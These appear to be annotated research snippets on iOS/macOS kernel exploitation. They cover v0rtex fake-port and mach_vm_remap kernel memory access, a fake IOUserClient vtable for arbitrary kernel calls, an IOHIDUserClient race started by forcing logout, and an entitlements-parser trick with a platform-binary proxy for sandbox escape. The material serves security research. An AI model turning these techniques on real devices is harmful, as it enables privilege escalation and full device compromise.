Siguza — iOS/macOS Kernel Research

// Zone allocation size 0xa8 (port size) trong chunks 0x3000:
// Page boundary alignment tạo 3 possible starting offsets
// Port có thể bắt đầu tại offset 0x0, 0x68, hoặc 0x28

// Fake port structure PHẢI valid ở CẢ 3 offsets
// → Mỗi field quan trọng phải nằm ở position
//   mà KHÔNG conflict với field khác ở offset khác

// v0rtex solution: encode identification info vào fields
// mà tồn tại ở mỗi offset:
dptr[j].ip_context = (dptr[j].ip_context & 0xffffffff) |
                     ((uint64_t)(0x10000000 | i) << 32);
dptr[j].ip_messages.port.pad = 0x20000000 | i;
dptr[j].ip_lock.pad = 0x30000000 | i;
// Upper nibble (0x1/0x2/0x3) reveals which offset is active
// Lower bits reveal page index

// After gaining kread: remap zone-allocated OSString into userland
// → Direct r/w access to kernel memory without message passing

mach_vm_address_t shmem_addr = 0;
vm_prot_t cur = 0, max = 0;
mach_vm_remap(mach_task_self(), &shmem_addr, DATA_SIZE, 0,
    VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
    fakeport,           // Fake task port → kernel_map
    kernel_obj_addr,    // Address of zone allocation
    false,              // Don't copy — share!
    &cur, &max,
    VM_INHERIT_NONE);

// shmem_addr giờ trỏ đến CÙNG physical memory với kernel object
// Write to shmem_addr = write to kernel memory
// No syscall needed — just pointer dereference!

// v0rtex: fake IOUserClient với single gadget
// Thay vì ROP chain phức tạp, chỉ cần 1 gadget:

// ARM64 gadget: add x0, x0, #0x10; ret
// Located in kernelcache via pattern search

// Fake IOUserClient vtable:
fake_client->vtable = controlled_vtable;
// Override getExternalTrapForIndex:
controlled_vtable[TRAP_INDEX] = gadget_addr;
// gadget returns: x0 + 0x10 = pointer to IOExternalTrap
// IOExternalTrap contains function pointer + arguments

// When iokit_user_client_trap() called:
// → getExternalTrapForIndex() returns our IOExternalTrap
// → Kernel calls: trap->func(trap->p1, ..., trap->p6)
// → ALL arguments controlled by attacker!
// → Arbitrary kernel function calls with controlled args

// IOHIDUserClient normally held exclusively by WindowServer
// evOpenCalled flag prevents second open

// Method 1: Force logout
system("launchctl reboot logout");
// WindowServer exits → releases IOHIDUserClient
// Brief window to grab it before new WindowServer starts

// Method 2: Wait for shutdown
signal(SIGTERM, handler);  // macOS sends SIGTERM before shutdown
// In handler: grab IOHIDUserClient

// After obtaining client: have access to shared memory
// Shared memory contains EvOffsets structure
// This is the race target

// Race window is very tight — need precise timing
// Thread 1: continuously flip evGlobalsOffset in shared memory
// Thread 2: trigger IOHIDSystem::initShmem()

// Detection: after initShmem(), check evg->version
// If evg->version == 0 → race won! evg points to our offset
// If evg->version != 0 → race lost, retry

// Success rate: ~1 in 1000 attempts
// But deterministic detection → no false positives
// Just retry until success

// After race: evg points into kalloc_map (attacker-controlled offset)
// evg->eventFlags field is writable via HIDKeyboardGlobalModifiers

// Trick: corrupt mach message descriptor count
// 1. Send mach message with 0 descriptors
// 2. evg write sets msgh_descriptor_count = 1
// 3. Kernel reinterprets message body as port descriptor
// 4. Craft fake port/task in shared memory (known address)
// 5. Receive message → fake port inserted into task namespace
// 6. pid_for_task(fake_port) → reads arbitrary 32-bit value

// Step 1: Create binary with crafted entitlements
// Entitlements plist contains <!---><!--> trick
// amfid (CoreFoundation parser): sees empty dict → PASSES validation
// Kernel (IOKit parser): sees private entitlements → GRANTS capabilities

// Step 2: Binary now has:
//   com.apple.private.security.no-container → no sandbox
//   task_for_pid-allow → can get task ports
//   platform-application → treated as Apple binary

// Step 3 (iOS 11+): Platform check prevents direct mach port use
// Solution: exception port proxy technique

// Spawn Apple binary (e.g., cfprefsd) with:
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
// Set exception port = our_port (catch crashes)
// Set bootstrap port = our_port (proxy launchd)
// Spawn suspended, then resume

// Binary starts → we intercept bootstrap lookups
// Binary asks for com.apple.xxx service → we return our port
// Binary sends privileged message to "service" → we receive it
// → We can impersonate any mach service to the platform binary!

// Step 4: Use platform binary as "signing oracle"
// Send messages THROUGH platform binary to privileged services
// Platform binary's identity used for authorization checks
// → Full platform-level access from unprivileged app